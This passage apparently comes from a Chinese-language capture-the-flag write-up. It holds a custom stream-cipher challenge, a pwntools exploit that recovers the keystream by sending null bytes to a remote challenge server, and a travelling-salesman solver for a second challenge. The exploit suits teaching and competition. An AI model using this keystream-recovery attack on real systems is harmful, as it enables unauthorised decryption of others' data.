j = ((j + S[i] + key[i % len(key)]) >> 4 | (j - S[i] + key[i % len(key)]) << 4) & (n-1)
S[i], S[j] = S[j], S[i]
return S

@staticmethod
def PRGA(S, n):
i = 0
j = 0
while True:
i = (i+1) & (n-1)
j = (j+S[i]) & (n-1)
S[i], S[j] = S[j], S[i]
yield S[((S[i] + S[j]) >> 4 | (S[i] - S[j]) << 4) & (n-1)]

def __init__(self, key, n=256):
self.KeyGenerator = self.PRGA(self.KSA(key, n), n)

def encrypt(self, message):
return bytes([char ^ next(self.KeyGenerator) for char in message])

def main():
flag = b"XXX"
key = os.urandom(256)
encrypted_flag = CrypTopiaSC(key).encrypt(flag)
print("Welcome to our first version of CrypTopia Stream Cipher!\nYou can here encrypt any message you want.")
print(f"Oh, one last thing: {encrypted_flag.hex()}")
while True:
pt = input("Enter your message: ").encode()
ct = CrypTopiaSC(key).encrypt(pt)
print(ct.hex())

if __name__ == "__main__":
main()

这个题目给了一大推代码故弄玄虚,其实就是 encrypt 这里,简单的把密钥和输入的消息进行了异或,直接输入和flag一样长度的 \x00 即可得出 key,因为任何数据和 0 异或都得到他本身
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

r = remote("0.cloud.chals.io",31561)

r.recvuntil("Oh, one last thing: ")
enc_flag_hex = r.recvline().strip().decode()
print(enc_flag_hex)
enc_flag = bytes.fromhex(enc_flag_hex)
L = len(enc_flag)

r.sendlineafter("Enter your message: ", b'\x00' * L)
ct_hex = r.recvline().strip().decode()
ct = bytes.fromhex(ct_hex)
print("key is: ", ct)

key_stream = ct

flag = bytes([enc_flag[i] ^ key_stream[i] for i in range(L)])
print(f"Flag: {flag.decode()}")

G-Bee-S

旅行商问题(TSP)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import math
import numpy as np

coordinates = [
(0, 0), # 起点
(-62, -67), (-8, 44), (44, 17), (-91, -74), (-56, 18),
(96, -19), (45, -67), (-28, 62), (94, 69), (48, 52),
(-11, 64), (-95, -57), (-2, 79), (34, 40), (-5, 24),
(-35, -50), (-40, 72), (-25, -4), (-75, -98), (6, 98),
(-87, -37), (-63, 99), (-96, 86), (28, 65), (-87, 26),
(53, -2), (-98, 7), (69, -71), (18, 41), (-84, 51),
(-80, -10), (50, 39), (13, -89), (4, 35), (31, 95),
(84, -50), (86, -82), (32, -21), (-36, -22), (34, -77),
(-77, -78), (-92, -2), (72, -54), (88, -29), (1, -14),
(-82, 97), (-16, -70), (-19, 96), (-41, 41), (-24, -87)
]

def calculate_distance(p1, p2):
"""计算两点间欧氏距离"""
return math.hypot(p1[0]-p2[0], p1[1]-p2[1])

def total_distance(path):
"""计算路径总长度"""
return sum(calculate_distance(coordinates[path[i]], coordinates[path[i+1]])
for i in range(len(path)-1))

def nearest_neighbor(start):
"""最近邻贪心算法"""
unvisited = list(range(1, len(coordinates))) # 所有花朵索引
current = start
path = [current]

while unvisited:
# 找到最近未访问点
nearest = min(unvisited, key=lambda x: calculate_distance(coordinates[current], coordinates[x]))
path.append(nearest)
unvisited.remove(nearest)
current = nearest
path.append(0) # 返回蜂巢
return path

def two_opt_swap(path, i, k):
"""2-opt局部优化"""
new_path = path[:i] + path[i:k+1][::-1] + path[k+1:]
return new_path

def optimize_path(path, max_iterations=1000):
"""用2-opt优化路径"""
improvement = True
best_path = path.copy()
best_distance = total_distance(best_path)

for _ in range(max_iterations):
improvement = False
for i in range(1, len(best_path)-2):
for k in range(i+1, len(best_path)-1):
new_path = two_opt_swap(best_path, i, k)
new_distance = total_distance(new_path)
if new_distance < best_distance:
best_path = new_path
best_distance = new_distance
improvement = True
if not improvement:
break
return best_path

# 生成初始路径(从蜂巢出发)
initial_path = nearest_neighbor(0)

# 优化路径
optimized_path = optimize_path(initial_path)

# 验证路径包含所有花朵
assert len(set(optimized_path)) == len(coordinates), "Missing some flowers!"
assert optimized_path[0] == 0 and optimized_path[-1] == 0, "Path must start/end at hive"

# 计算总距离
total_dist = total_distance(optimized_path)
print(f"Total distance: {total_dist:.2f} (must be < 1400)")
print("Path order (0-based indices):")
print(' '.join(map(str, optimized_path)))